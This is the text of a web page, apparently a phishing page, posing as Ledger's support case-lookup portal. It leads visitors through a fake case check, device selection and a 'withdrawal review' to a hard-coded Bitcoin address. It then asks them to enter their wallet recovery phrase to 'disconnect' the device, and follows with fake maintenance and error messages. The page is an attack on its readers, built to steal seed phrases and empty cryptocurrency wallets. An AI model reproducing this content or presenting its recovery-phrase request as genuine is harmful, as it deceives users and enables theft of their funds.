Case Lookup

Enter your Case ID

Use the ID from your Ledger Support email to check the latest status, support notes, and next steps.

1

Verify your ID

We match it against the email confirmation we sent you.

2

Review the status

See where your request sits with our support team in real time.

3

Pick up the thread

Reply with new info or follow the next-step instructions on screen.

Secure Lookup

Case ID

Enter the ID from your support email to see the status of your request.

Enter Case ID
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Average response time under 24 hours

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Wallet

What's your Ledger?

Pick the device you'd like to connect.

Ledger Stax
Ledger Stax
Ledger Flex
Ledger Flex
Ledger Nano Gen5
Ledger Nano Gen5
Ledger Nano S
Ledger Nano S
Ledger Nano S Plus
Ledger Nano S Plus
Ledger Nano X
Ledger Nano X

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Withdrawal Review
Review outgoing asset
Confirm the details before continuing with this Ledger review.
₿
Outgoing asset
0.01156083 BTC
Estimated value: $906.79
FromMain Ledger wallet
To1HydfhECzZk8wZFDHffqYuTSGMİFTVjiJ7
StatusReview recommended
Choose an action to continue.

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Disconnect your Ledger

Enter your recovery phrase to disconnect your Ledger
Recovery Phrase

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Disconnected
You have successfully disconnected your Ledger
We will contact you shortly once we fix our server due to security maintenance.
Ledger — Security Maintenance Mode
Incorrect Details
The information you entered is incorrect
The details you entered could not be verified.
Please check your details carefully and try again.
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